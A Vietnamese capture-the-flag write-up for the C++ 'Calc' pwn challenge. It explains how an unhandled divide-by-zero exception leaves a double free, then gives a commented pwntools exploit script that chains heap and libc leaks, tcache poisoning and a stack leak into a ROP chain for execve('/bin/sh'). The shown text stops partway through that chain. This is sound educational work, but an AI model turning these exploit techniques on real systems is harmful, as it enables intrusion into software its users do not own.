pwn - Calc

Welcome to Calculator Pro Max - where mathematics meets management!

November 30, 2025 November 17, 2025 Insane
Author Author Hung Nguyen Tuong

Chúng ta đến với bài pwn cuối cùng của giải - Calc, chỉ có 2 solves duy nhất. Khi vừa mới dịch ngược, mình cảm thấy hơi bỡ ngỡ và hơi choáng, vì đây là lần đầu mình gặp chương trình viết bằng C++. Lúc đầu mình thử tự làm, tự mày mò với AI, mất khá nhiều thời gian nhưng cũng không tìm được gì hữu ích để chiếm được RCE. Nên mình đã lên discord và xin hint của các cao nhân, cuối cùng mình cũng giải được :).

Mình thấy bài này hay thực sự, attack chain đối với mình khá phức tạp. Mình đã dành ra gần 3 ngày nghiên cứu bài này, và đã học thêm được nhiều thứ mới.

Setup

Bài cho mình Dockerfile, nên mình sẽ build và lấy ra các thư viện cần thiết:

FROM ubuntu:22.04

MAINTAINER anonymous
RUN apt-get update

RUN useradd -m dummy
RUN apt-get install -y socat

WORKDIR /home/dummy

ADD ./flag /
ADD ./calc /home/dummy
RUN chmod +x /home/dummy/calc

ENTRYPOINT ["sh", "-c", "exec socat TCP-LISTEN:1337,reuseaddr,fork EXEC:/home/dummy/calc"]

EXPOSE 1337
ngtuonghung@ubuntu:~/ctfs/public$ echo FLAG{THIS_IS_A_TEST_FLAG} > flag
ngtuonghung@ubuntu:~/ctfs/public$ docker build -t calc .

Netcat đến challenge rồi mình attach gdb vào process đang chạy để lấy ra path của các thư viện:

Ngoài libc và ld ra, mình còn có thêm libm, libgcc, libstdc++ nữa. Mình copy hết ra thư mục hiện tại:

ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libm.so.6 .
Successfully copied 943kB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libc.so.6 .
Successfully copied 2.22MB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libgcc_s.so.1 .
Successfully copied 127kB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.30 .
Successfully copied 2.26MB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ docker cp 71090578b7c9:/usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 .
Successfully copied 243kB to /home/ngtuonghung/ctfs/public/.
ngtuonghung@ubuntu:~/ctfs/public$ chmod +x libm.so.6 libc.so.6 libgcc_s.so.1 libstdc++.so.6.0.30 ld-linux-x86-64.so.2

Sau khi copy xong, mình cần phải patch binary để nó sử dụng các thư viện này. Lần đầu tiên mình pwn C++ nên cũng mất kha khá thời gian ngồi patch. Mình nhận ra là các thư viện này nó cũng sử dụng lẫn nhau, không chỉ là mỗi binary chính. Mình sử dụng readelf để xem cái nào phụ thuộc cái nào rồi patch cho đúng và đủ:

(venv) ngtuonghung@ubuntu:~/ctfs/public$ ls
calc  description.txt  Dockerfile  flag  ld-linux-x86-64.so.2  libc.so.6  libgcc_s.so.1  libm.so.6  libstdc++.so.6.0.30
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d calc | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libstdc++.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d libgcc_s.so.1 | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d libm.so.6 | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [ld-linux-x86-64.so.2]
(venv) ngtuonghung@ubuntu:~/ctfs/public$ readelf -d libstdc++.so.6.0.30 | grep NEEDED
 0x0000000000000001 (NEEDED)             Shared library: [libm.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [libc.so.6]
 0x0000000000000001 (NEEDED)             Shared library: [ld-linux-x86-64.so.2]
 0x0000000000000001 (NEEDED)             Shared library: [libgcc_s.so.1]

Mình sử dụng https://github.com/sasha-999/pwninit.py vì ngoài libc và ld ra, nó còn xử lý libstdc++ và libgcc. Sau đó mình cần patch thêm các thư viện kia:

(venv) ngtuonghung@ubuntu:~/ctfs/public$ ~/Tools/pwninit.py/pwninit.py --bin calc
[*] bin: calc (arch = 'amd64')
[*] libc: ./libc.so.6
[*] libc version: (Ubuntu GLIBC 2.35-0ubuntu3.11) stable release version 2.35.
[*] ld: ./ld-linux-x86-64.so.2

[*] Finding stripped libraries to unstrip
[*] Unstripping './libstdc++.so.6.0.30', './libgcc_s.so.1'
[*] Fetching debug symbols from https://launchpad.net/ubuntu/+archive/primary/+files/libc6-dbg_2.35-0ubuntu3.11_amd64.deb
[-] Failed to get debug symbols for './libstdc++.so.6.0.30'
[-] Failed to get debug symbols for './libgcc_s.so.1'

[*] Patching binary manually
[*] Symlinking './ld' -> './ld-linux-x86-64.so.2'
[*] Symlinking './libstdc++' -> './libstdc++.so.6.0.30'
[*] Symlinking './libgcc_s' -> './libgcc_s.so.1'
[*] Symlinking './libc' -> './libc.so.6'
[+] Successfully wrote patched binary to 'calc_patched'

[*] Writing solve.py
[+] Successfully written solve.py
(venv) ngtuonghung@ubuntu:~/ctfs/public$ patchelf --set-rpath '$ORIGIN' ./libstdc++
(venv) ngtuonghung@ubuntu:~/ctfs/public$ patchelf --set-rpath '$ORIGIN' ./libgcc_s
(venv) ngtuonghung@ubuntu:~/ctfs/public$ patchelf --set-rpath '$ORIGIN' ./libm.so.6

Mình kiểm tra lại bằng ldd để xem các path đã đúng chưa:

(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd calc_patched 
	linux-vdso.so.1 (0x000072462dbae000)
	./libstdc++ (0x000072462d800000)
	./libgcc_s (0x000072462db7c000)
	./libc (0x000072462d400000)
	libm.so.6 => /home/ngtuonghung/ctfs/public/./libm.so.6 (0x000072462da8f000)
	./ld => /lib64/ld-linux-x86-64.so.2 (0x000072462dbb0000)
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd libstdc++
	linux-vdso.so.1 (0x0000763c41893000)
	libm.so.6 => /home/ngtuonghung/ctfs/public/./libm.so.6 (0x0000763c41513000)
	libc.so.6 => /home/ngtuonghung/ctfs/public/./libc.so.6 (0x0000763c41200000)
	/lib64/ld-linux-x86-64.so.2 (0x0000763c41895000)
	libgcc_s.so.1 => /home/ngtuonghung/ctfs/public/./libgcc_s.so.1 (0x0000763c414f1000)
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd libgcc_s
	linux-vdso.so.1 (0x0000709b18a1a000)
	libc.so.6 => /home/ngtuonghung/ctfs/public/./libc.so.6 (0x0000709b18600000)
	/lib64/ld-linux-x86-64.so.2 (0x0000709b18a1c000)
(venv) ngtuonghung@ubuntu:~/ctfs/public$ ldd libm.so.6 
	linux-vdso.so.1 (0x000079d82db35000)
	libc.so.6 => /home/ngtuonghung/ctfs/public/./libc.so.6 (0x000079d82d800000)
	/lib64/ld-linux-x86-64.so.2 (0x000079d82db37000)

Ok, binary chạy ngon lành rồi:

(venv) ngtuonghung@ubuntu:~/ctfs/public$ ./calc_patched 
1. Add calc
2. Calculate
3. Delete calc
4. Modify calc
5. Exit
>> 

GLIBC Version

Mình cũng xác định luôn phiên bản Glibc được sử dụng, bởi có thể giúp cho việc exploit sau này.

ngtuonghung@ubuntu:~/ctfs/public$ strings libc.so.6 | grep "GLIBC "
GNU C Library (Ubuntu GLIBC 2.35-0ubuntu3.11) stable release version 2.35.

Source Code

Mình sử dụng Ghidra xuất toàn bộ pseudo code ra một file rồi ném cho Claude. Sau một hồi trò chuyện qua lại, tinh chỉnh code, mình được file code như sau:

https://github.com/ngtuonghung/my-ctf-archives/blob/main/cscv%202025%20jeopardy%20final/public/pseudo_code.c.

Mình yêu cầu Claude giải thích tổng quan chương trình, cũng như là các struct, method quan trọng, chúng phục vụ cho mục đích gì. Mình để y nguyên output dưới đây.

Overview

Đây là một chương trình Calculator Manager - quản lý nhiều máy tính với các biểu thức toán học khác nhau. Chương trình:

  • Cho phép tạo nhiều calculator với tên riêng
  • Mỗi calculator lưu một biểu thức toán học
  • Parse biểu thức thành cây AST (Abstract Syntax Tree)
  • Tính toán kết quả khi được yêu cầu
Token
struct Token {
    ulong value;        // Giá trị số (nếu là CONST)
    int type;           // Loại token (ADD, SUB, MUL, DIV, CONST, OPENPARENT, CLOSEPARENT)
    int padding;        // Padding để căn chỉnh bộ nhớ
    struct Token *next; // Con trỏ đến token tiếp theo (linked list)
};

Chức năng:

  • Đại diện cho một đơn vị trong biểu thức (token)
  • Là một node trong linked list các token
  • Lưu trữ thông tin về loại token và giá trị (nếu là số)

Methods quan trọng:

  • GetType() - Lấy loại của token
  • GetNum() - Lấy giá trị số
  • GetNext() - Lấy token tiếp theo
  • IsOp(TokenType) - Kiểm tra có phải operator không (+, -, *, /)
  • SetNext(Token*) - Thiết lập token tiếp theo
Scanner
struct Scanner {
    uchar *buf_start;           // Con trỏ đầu buffer biểu thức
    uchar *buf_cur_ptr;         // Con trỏ hiện tại khi scan
    uchar *buf_end;             // Con trỏ cuối buffer
    struct Token *token_head;   // Đầu danh sách token
    struct Token *token_tail;   // Cuối danh sách token
    struct Token *current_token; // Token hiện tại đang xử lý
};

Chức năng:

  • Quét (scan/lex) chuỗi biểu thức thành các token
  • Quản lý danh sách token dưới dạng linked list
  • Validate cú pháp của biểu thức

Methods quan trọng:

  • Parse() - Phân tích chuỗi thành tokens (tokenization/lexing)
  • Validate() - Kiểm tra tính hợp lệ của biểu thức (cặp ngoặc, vị trí operator)
  • GetCur() - Lấy token hiện tại
  • Next() - Di chuyển đến token tiếp theo
  • GetNumber() - Đọc một số từ buffer
  • IsNumber(uchar) - Kiểm tra ký tự có phải số không
  • AddToken(Token*) - Thêm token vào danh sách
Expr
struct Expr {
    ulong value;         // Giá trị (nếu là node lá - số)
    struct Expr *left;   // Con trỏ đến biểu thức con bên trái
    struct Expr *right;  // Con trỏ đến biểu thức con bên phải
    int op_type;         // Loại operator (ADD, SUB, MUL, DIV) hoặc CONST
    int padding;         // Padding căn chỉnh
};

Chức năng:

  • Đại diện cho một node trong cây biểu thức (Expression Tree/AST)
  • Node lá: chứa giá trị số (op_type = CONST, left=right=NULL)
  • Node nhánh: chứa operator và 2 biểu thức con

Methods quan trọng:

  • GetResult() - Tính toán và trả về kết quả của (sub)tree này (recursive)
  • GetPrior(OP) - Lấy độ ưu tiên của operator (*, / = 2; +, - = 1)
Calculator
struct Calculator {
    char *description;        // Mô tả của calculator
    uint des_size;            // Kích thước của description
    uint padding;             // Padding
    char *expression;         // Chuỗi biểu thức gốc
    char *name;               // Tên calculator (std::string - 8 bytes pointer)
    size_t name_size;         // Kích thước tên
    size_t name_capacity;     // Dung lượng đã cấp phát
    size_t padding_;          // Padding
    struct Expr *expr_tree;   // Cây biểu thức đã parse
    struct Calculator *next;  // Calculator tiếp theo (linked list)
};

Chức năng:

  • Quản lý một máy tính với tên, mô tả và biểu thức riêng
  • Lưu trữ cây biểu thức đã parse
  • Là một node trong linked list các calculator

Methods quan trọng:

  • Calculator(char*, uint, string, Scanner*) - Constructor: khởi tạo calculator từ mô tả, tên và scanner
  • GetResult() - Tính toán kết quả của biểu thức và in ra
  • ParseExprWithParent(Scanner*) - Parse biểu thức có dấu ngoặc thành cây
  • ParseExprNoParent(Scanner*) - Parse biểu thức không có ngoặc (số hoặc biểu thức con)
  • GetOP(Scanner*) - Lấy operator từ token hiện tại
  • GetName() - Lấy tên calculator
  • GetDescription() - Lấy mô tả
  • GetDesSize() - Lấy kích thước mô tả
  • GetNext() / SetNext() - Quản lý linked list
Functionality
main()
  1. Khởi tạo biến choice để lưu lựa chọn của user
  2. Vòng lặp vô hạn:
    • In menu với 5 lựa chọn
    • Đọc input từ user vào choice
    • Switch-case xử lý theo choice:
      • Choice 1: Gọi addCalc()
      • Choice 2: Calculate - tìm calculator theo tên, gọi GetResult(), sau đó xóa nó
      • Choice 3: Delete - tìm calculator theo tên và xóa
      • Choice 4: Modify - tìm calculator theo tên và gọi modifyCalc()
      • Choice 5: Exit - thoát chương trình
      • Default: In “Invalid choice!”
    • Nếu choice != 5 thì tiếp tục loop
Choice 1: Add Calc
  1. Nhập size cho biểu thức
  2. Kiểm tra size <= 1280, nếu không thì throw exception
  3. Cấp phát buffer expr_buf với kích thước size
  4. Đọc biểu thức vào expr_buf bằng read()
  5. Tạo Scanner từ expr_buf
  6. Gọi Scanner::Parse() để tokenize biểu thức
  7. Gọi Scanner::Validate() để kiểm tra tính hợp lệ
  8. Nhập tên cho calculator
  9. Kiểm tra tên đã tồn tại chưa bằng findCalc() - nếu có thì throw exception
  10. Nhập size cho description
  11. Kiểm tra size <= 1280, nếu không thì throw exception
  12. Cấp phát description_buf và memset về 0
  13. Đọc description vào buffer
  14. Tạo Calculator mới với các thông tin trên
  15. Parse biểu thức thành cây trong constructor
  16. Thêm Calculator vào đầu linked list global calc
  17. In “Done!”
Choice 2: Calculate
  1. Nhập tên calculator cần tính
  2. Tìm calculator bằng findCalc(name)
  3. Nếu không tìm thấy → throw exception
  4. Gọi Calculator::GetResult():
    • In expression gốc
    • In name
    • In description
    • Gọi Expr::GetResult() đệ quy để tính toán
    • In kết quả
    • Free description và expr_tree
    • Set con trỏ về NULL
  5. Sau đó xóa calculator khỏi linked list bằng DeleteCalc(name)
  6. In “Done!”
Choice 3: Delete Calc
  1. Nhập tên calculator cần xóa
  2. Gọi DeleteCalc(name):
    • Tìm calculator bằng findCalc()
    • Assert nếu không tìm thấy
    • Duyệt linked list với 2 con trỏ prevcur
    • Khi tìm thấy calculator khớp tên:
      • Nếu là node đầu: cập nhật calc global = node tiếp theo
      • Nếu không: cập nhật prev->next = cur->next
    • Gọi destructor Calculator::~Calculator()
    • Free memory của Calculator
  3. In “Done!”
Choice 4: Modify Calc
  1. Nhập tên calculator cần modify
  2. Tìm calculator bằng findCalc(name)
  3. Nếu không tìm thấy → throw exception
  4. Gọi modifyCalc(Calculator*):
    • Lấy des_size từ calculator
    • Lấy con trỏ description từ calculator
    • In “Description: "
    • Đọc trực tiếp vào vùng nhớ description cũ bằng read(0, description, des_size)
    • In “Done!”
Helper: findCalc()
  1. Duyệt linked list calc từ đầu
  2. Với mỗi calculator:
    • Lấy tên bằng GetName()
    • So sánh với name cần tìm
    • Nếu khớp → return con trỏ calculator
  3. Nếu không tìm thấy → return NULL
Helper: DeleteCalc()
  1. Assert rằng calculator với name tồn tại
  2. Duyệt linked list với prevcur
  3. Tìm node khớp tên:
    • Unlink khỏi list (cập nhật prev->next hoặc head)
    • Gọi destructor
    • Free memory
  4. Return

Mitigation

Glibc phiên bản 2.35 nên không có hook overwrite. Mitigations cũng bật hết, Full RELRO thì ko có GOT overwrite rồi, NX enabled thì không có shellcode. Return address overwrite thì có thể cần leak canary,…

Solve

Lúc đầu khi tự mày mò, mình mất thời gian tập trung vào tìm những thứ như buffer overflow, type confusion, use after free, nhưng mãi không ra được cái gì có ích cho RCE. Sau đấy mình lên discord xin chút hint, và mình mới nhận ra rằng mã nguồn có sử dụng các block try-catch, và lỗ hổng nằm ở chỗ việc xử lý các block này không được an toàn. Vì mình chưa gặp bài pwn nào có try-catch, và Ghidra cũng không thể hiện rõ ràng, nên mình hoàn toàn không biết là có try-catch trong chương trình.

Xử lý không an toàn, cụ thể là trong trường hợp user addCalc() và nhập vào một expression có chứa phép chia cho 0, ví dụ như 1/0, sau đó Calculator::GetResult() để tính kết quả, thì chương trình sẽ throw một exception tại hàm Expr::GetResult():

if (right_result == 0) {
  exception = (string *)__cxa_allocate_exception(0x20);
  std::allocator<char>::allocator();
			// try { // try from 0010451b to 0010451f has its CatchHandler @ 001045e0
  std::__cxx11::string::string<>(exception,"Divided by zero",&exception_msg);
  std::allocator<char>::~allocator((allocator<char> *)&exception_msg);
			// WARNING: Subroutine does not return
  __cxa_throw(exception,&std::__cxx11::string::typeinfo,std::__cxx11::string::~string); // <----- HERE
}

Vì ở đây không có catch handler nào cho exception “Divided by zero” nên nó được ném lên caller của Expr::GetResult(), đó là Calculator::GetResult().

Lưu ý ở đây có 2 exception. Exception ở trên có catcher handler tại 0x001045e0 là của việc khởi tạo exception_msg. Còn exception chính là ở dưới, “Divided by zero”.

Để ý trong Callculator::GetResult() cũng không có catch handler nào.

stream = std::operator<<((ostream *)std::cout,"Expression: ");
stream = std::operator<<(stream,this->expression);
std::ostream::operator<<(stream,std::endl<>);
stream = std::operator<<((ostream *)std::cout,"Name: ");
stream = std::operator<<(stream,(string *)&this->name);
std::ostream::operator<<(stream,std::endl<>);
stream = std::operator<<((ostream *)std::cout,"Description: ");
stream = std::operator<<(stream,this->description);
std::ostream::operator<<(stream,std::endl<>);
stream = std::operator<<((ostream *)std::cout,"Result: ");
result = Expr::GetResult(this->expr_tree); // <----- HERE
stream = (ostream *)std::ostream::operator<<(stream,result);
std::ostream::operator<<(stream,std::endl<>);

Vì thế exception lại được ném lên trên, là main():

if ((choice == 0) || (1 < choice - 2)) goto INVALID_CHOICE;
stream = std::operator<<((ostream *)std::cout,"Name: ");
std::ostream::operator<<(stream,std::flush<>);
std::operator>>((istream *)std::cin,tmp_buf);
std::__cxx11::string::string(name_buf,tmp_buf);
		// try { // try from 0010325a to 0010325e has its CatchHandler @ 00103489
Calc = (Calculator *)findCalc(name_buf);
std::__cxx11::string::~string(name_buf);
if (Calc == (Calculator *)0x0) {
  exception = (string *)__cxa_allocate_exception(0x20);
  std::allocator<char>::allocator();
		// try { // try from 001032a3 to 001032a7 has its CatchHandler @ 001034a7
  std::__cxx11::string::string<>(exception,"Cald does not exist",&exception_msg);
  std::allocator<char>::~allocator((allocator<char> *)&exception_msg);
		// WARNING: Subroutine does not return
		// try { // try from 001032cb to 001032f6 has its CatchHandler @ 00103529
  __cxa_throw(exception,&std::__cxx11::string::typeinfo,std::__cxx11::string::~string);
}
if (choice == 2) {
  Calculator::GetResult(Calc); // <----- HERE
}
std::__cxx11::string::string(name_buf,tmp_buf);
		// try { // try from 001032fe to 00103302 has its CatchHandler @ 001034cd
DeleteCalc(name_buf);
std::__cxx11::string::~string(name_buf);
		// try { // try from 00103323 to 00103392 has its CatchHandler @ 00103529
stream = std::operator<<((ostream *)std::cout,"Done!");
std::ostream::operator<<(stream,std::endl<>);

Địa chỉ của lời gọi Calculator::GetResult() là 0x001032df. Nhìn vào comment này // try { // try from 001032cb to 001032f6 has its CatchHandler @ 00103529 thì mình biết được catch handler của nó nằm tại 0x00103529.

undefined8 UndefinedFunction_00103529(undefined8 param_1,undefined8 param_2,long param_3)

{
  uint uVar1;
  bool bVar2;
  undefined8 uVar3;
  string *psVar4;
  ostream *poVar5;
  long unaff_RBP;
  long in_FS_OFFSET;
  
  if (param_3 != 1) {
    std::__cxx11::string::~string((string *)(unaff_RBP + -0x70));
                    /* WARNING: Subroutine does not return */
    _Unwind_Resume();
  }
  psVar4 = (string *)__cxa_get_exception_ptr();
  std::__cxx11::string::string((string *)(unaff_RBP + -0x50),psVar4);
  __cxa_begin_catch();
                    /* try { // try from 00103577 to 0010358d has its CatchHandler @ 001035a4 */
  poVar5 = std::operator<<((ostream *)std::cout,(string *)(unaff_RBP + -0x50));
  std::ostream::operator<<(poVar5,std::endl<>);
  std::__cxx11::string::~string((string *)(unaff_RBP + -0x50));
                    /* try { // try from 0010359a to 0010359e has its CatchHandler @ 001035be */
  __cxa_end_catch();
LAB_00103451:
  bVar2 = true;
  while( true ) {
    std::__cxx11::string::~string((string *)(unaff_RBP + -0x70));
    if (!bVar2) {
      if (*(long *)(unaff_RBP + -0x28) != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
        __stack_chk_fail();
      }
      return 0;
    }
    std::__cxx11::string::string((string *)(unaff_RBP + -0x70));
                    /* try { // try from 001030af to 001031b2 has its CatchHandler @ 001035be */
    poVar5 = std::operator<<((ostream *)std::cout,"1. Add calc");
    std::ostream::operator<<(poVar5,std::endl<>);
    poVar5 = std::operator<<((ostream *)std::cout,"2. Calculate");
    std::ostream::operator<<(poVar5,std::endl<>);
    poVar5 = std::operator<<((ostream *)std::cout,"3. Delete calc");
    std::ostream::operator<<(poVar5,std::endl<>);
    poVar5 = std::operator<<((ostream *)std::cout,"4. Modify calc");
    std::ostream::operator<<(poVar5,std::endl<>);
    poVar5 = std::operator<<((ostream *)std::cout,"5. Exit");
    std::ostream::operator<<(poVar5,std::endl<>);
    poVar5 = std::operator<<((ostream *)std::cout,">> ");
    std::ostream::operator<<(poVar5,std::flush<>);
    ...
    ...

Nhìn vào handler mình thấy sau khi nó xử lý xong exception (in ra exception_msg) thì nó tiếp tục thực thi code nhìn giống giống hàm main(). Mình thấy hơi lú lú đoạn này. Hỏi Claude thì mình nhận ra là sau khi xử lý xong exception, chương trình tiếp tục quay trở về thực thi hàm main(), tiếp tục ở vòng lặp mới. Ghidra không phân biệt được nên đã tách làm 2 hàm riêng biệt, chỉ đưa ra được là khi gặp exception thì chuyển thực thi đến 0x00103529.

Rồi, vậy khi gặp exception, thì các đoạn code ở dưới lời gọi Expr::GetResult() sẽ không được thực thi:

result = Expr::GetResult(this->expr_tree);
// STOP HERE
stream = (ostream *)std::ostream::operator<<(stream,result);
std::ostream::operator<<(stream,std::endl<>);
if (this->description != (char *)0x0) {
operator_delete__(this->description);
}
expr_tree = this->expr_tree;
if (expr_tree != (Expr *)0x0) {
Expr::~Expr(expr_tree);
operator_delete(expr_tree,0x20);
}
this->expr_tree = (Expr *)0x0;
this->description = (char *)0x0;

Đoạn code dưới lời gọi Calculator::GetResult() trong main() cũng vậy:

if (choice == 2) {
  Calculator::GetResult(Calc);
}
// STOP HERE
std::__cxx11::string::string(name_buf,tmp_buf);
		// try { // try from 001032fe to 00103302 has its CatchHandler @ 001034cd
DeleteCalc(name_buf);
std::__cxx11::string::~string(name_buf);
		// try { // try from 00103323 to 00103392 has its CatchHandler @ 00103529
stream = std::operator<<((ostream *)std::cout,"Done!");
std::ostream::operator<<(stream,std::endl<>);

Dẫn đến là expr_tree và description không được free, và chính cái calc cũng không được free (DeleteCalc). Nhưng để ý rằng trong Expr::GetResult() đã free 2 node Expr con:

left_result = GetResult(this->left);
right_result = GetResult(this->right);
pEVar2 = this->left;
if (pEVar2 != (Expr *)0x0) {
~Expr(pEVar2);
operator_delete(pEVar2,0x20);
}
pEVar2 = this->right;
if (pEVar2 != (Expr *)0x0) {
~Expr(pEVar2);
operator_delete(pEVar2,0x20);
}

Chỗ nguy hiểm đó là 2 node con này được free nhưng con trỏ không đặt về null. Vậy nếu chúng ta tạo một Calc với expression là 1/0, việc chọn Calculate 2 lần sẽ dẫn đến lỗ hổng double free.

Đây là lỗ hổng cốt lõi ở bài này để mình chiếm được RCE. Dưới đây là script exploit của mình, mình đã ghi chú chi tiết từng bước:

Script

#!/usr/bin/env python3

from pwn import *

exe = ELF("calc_patched", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
ld = ELF("./ld-linux-x86-64.so.2", checksec=False)

context.terminal = ["tilix", "-a", "session-add-right", "-e"]
context.binary = exe

sla = lambda p, d, x: p.sendlineafter(d, x)
sa = lambda p, d, x: p.sendafter(d, x)
sl = lambda p, x: p.sendline(x)
s = lambda p, x: p.send(x)

slan = lambda p, d, n: p.sendlineafter(d, str(n).encode())
san = lambda p, d, n: p.sendafter(d, str(n).encode())
sln = lambda p, n: p.sendline(str(n).encode())
sn = lambda p, n: p.send(str(n).encode())

ru = lambda p, x: p.recvuntil(x)
rl = lambda p: p.recvline()
rc = lambda p, n: p.recv(n)
rr = lambda p, t: p.recvrepeat(timeout=t)
ra = lambda p, t: p.recvall(timeout=t)
ia = lambda p: p.interactive()

gdbscript = '''
set follow-fork-mode parent
set detach-on-fork on
continue
'''

def conn():
    if args.LOCAL:
        p = process([exe.path])
        if args.GDB:
            gdb.attach(p, gdbscript=gdbscript)
        if args.DEBUG:
            context.log_level = 'debug'
        return p
    else:
        host = "localhost"
        port = 1337
        return remote(host, port)

p = conn()

def addCalc(size, expr, name, des_size, description):
    slan(p, b'>>', 1)
    slan(p, b'Size:', size)
    sa(p, b'Expr:', expr)
    sla(p, b'Name:', name)
    slan(p, b'size:', des_size)
    sa(p, b'Description:', description)

def calculate(name):
    slan(p, b'>>', 2)
    sla(p, b'Name:', name)

def deleteCalc(name):
    slan(p, b'>>', 3)
    sla(p, b'Name:', name)

def modifyCalc(name, description):
    slan(p, b'>>', 4)
    sla(p, b'Name:', name)
    sa(p, b'Description:', description)

### Leak libc base và heap base

# Cấp phát expr có size 0x420 để khi free sẽ đi vào unsorted bin
# và fd pointer sẽ trỏ đến main arena trong libc
addCalc(0x420, b'1+1', b'unsortedbin', 0x80, b'A')
deleteCalc(b'unsortedbin')

# Cấp phát lại chunk này để leak:
# - expr để leak libc address
# - description để leak heap address
# Description size 0x10 để tận dụng các chunk Token có sẵn trong tcache entry 0x20
# (các Token có next pointer trỏ đến heap và không bị encode)
addCalc(0x420, b'1', b'unsortedbin', 0x10, b'A' * 0x10)
calculate(b'unsortedbin')

# Leak libc address
ru(p, b'Expression: ')
libc.address = u64(rc(p, 6).ljust(8, b'\x00')) - 0x21ac31
print(f'libc base: {hex(libc.address)}')

# Leak heap address
ru(p, b'A' * 0x10)
heap_base = u64(rc(p, 6).ljust(8, b'\x00')) - 0x137c0
print(f'heap base: {hex(heap_base)}')

### Double free

# Làm đầy tcache entry 0x30 trước khi thực hiện double free trong fastbin
# (vì cơ chế check double free ở fastbin lỏng lẻo hơn tcache)
# Khởi tạo 9 chunk cho Token
addCalc(0x80, b'1+1', b'dummy1', 0x80, b'A')
addCalc(0x80, b'1+1', b'dummy2', 0x80, b'A')
addCalc(0x80, b'1+1', b'dummy3', 0x80, b'A')

# Cấp phát calc với description size 0x300 để sau này ghi đè tcache perthread struct
addCalc(0x80, b'1', b'tcache', 0x300, b'A')

# Cấp phát expr chia cho 0 để kích hoạt double free
addCalc(0x80, b'1/0', b'doublefree', 0x80, b'A')

# Làm đầy tcache entry 0x30 bằng các Token chunk
deleteCalc(b'dummy1')
deleteCalc(b'dummy2')
deleteCalc(b'dummy3')

# Free calc tcache để có chunk trong tcache entry 0x310
# (phục vụ cho việc ghi đè tcache perthread struct sau này)
deleteCalc(b'tcache')

# Thực hiện double free trong fastbin
calculate(b'doublefree')
calculate(b'doublefree')

### Use after free

# Dọn dẹp tcache entry 0x30 bằng cách cấp phát 7 Token
addCalc(0x80, b'1+1+1+1', b'doublefree', 0x80, b'A')

# Fastbin entry 0x30 hiện có dạng: X -> A -> B <- A
# Tcache entry 0x30 đã trống
# Mục tiêu: cấp phát chunk A hai lần, sau đó free một trong hai pointer
# để tạo use after free với pointer còn lại

# Cấp phát expr size 0x20 (lấy X)
# -> Ptmalloc chuyển A -> B <- A lên tcache entry 0x30
# Cấp phát description size 0x20 (lấy A)
# Cấp phát Token (lấy B)
addCalc(0x20, b'1', b'dummy4', 0x20, b'HELLO')

# Cấp phát description size 0x20 lần nữa (lấy A lần thứ hai)
# Data 'WORLD' sẽ ghi đè lên 'HELLO'
addCalc(0x80, b'1', b'uaf', 0x20, b'WORLD')

# Free để tạo use after free
deleteCalc(b'dummy4')

### Kiểm soát toàn bộ tcache

# Thực hiện tcache poisoning trên tcache entry 0x310 để trỏ đến tcache perthread struct
# Từ đó kiểm soát được toàn bộ tcache entries

# Poison tcache entry 0x310
tcache_0x310 = heap_base + 0x200
# Tính địa chỉ chunk của description (đang chứa 'WORLD') để encode fd
# (glibc 2.35 yêu cầu encode fd pointer trong tcache)
uaf_desc_addr = heap_base + 0x13b90
modifyCalc(b'uaf', p64(tcache_0x310 ^ (uaf_desc_addr >> 12)))

addCalc(0x80, b'1', b'dummy5', 0x20, b'A')

# Poison tcache entry 0x310 để trỏ đến tcache perthread struct
tcache_base = heap_base + 0x10
addCalc(0x80, b'1', b'tcache_0x310', 0x20, flat(
    0,
    tcache_base
))

### Leak stack address

# Tạo payload để khi cấp phát đến tcache perthread struct
# sẽ đặt tcache entry 0x60 trỏ đến environ trong libc để leak địa chỉ stack
pl = p16(0) * 4
pl += p16(1)
pl = pl.ljust(128, b'\0')
pl += p64(0) * 4
pl += p64(libc.symbols['environ'] - 0x50)

addCalc(0x80, b'1', b'tcache', 0x300, pl)

# Leak địa chỉ trên stack thông qua environ
addCalc(0x80, b'1/0', b'environ', 0x50, b'A' * 0x50)
calculate(b'environ')
print(f'environ address: {hex(libc.symbols["environ"])}')

ru(p, b'A' * 0x50)
environ = u64(rc(p, 6).ljust(8, b'\x00'))
print(f'environ: {hex(environ)}')

# Tính toán vị trí saved rbp và return address của hàm addCalc
# để thực hiện return address overwrite và ROP chain
saved_rbp = environ + 0x128
print(f'saved rbp: {hex(saved_rbp)}')

addCalc_return_addr = environ - 0x1b0
print(f'addCalc return addr: {hex(addCalc_return_addr)}')

### ROP chain

# Poison tcache entry 0x70 để trỏ đến vị trí saved rbp
pl = p16(0) * 5
pl += p16(1)
pl = pl.ljust(128, b'\0')
pl += p64(0) * 5
pl += p64(addCalc_return_addr - 0x8)

modifyCalc(b'tcache', pl)

# Cấp phát description size 0x60 để ghi ROP chain
# ROP chain thực hiện syscall execve("/bin/sh", NULL, NULL)
addCalc(0x80, b'1', b'rop', 0x60, flat(
    saved_rbp,
    # pop rdi; ret
    libc.address + 0x000000000002a3e5, 
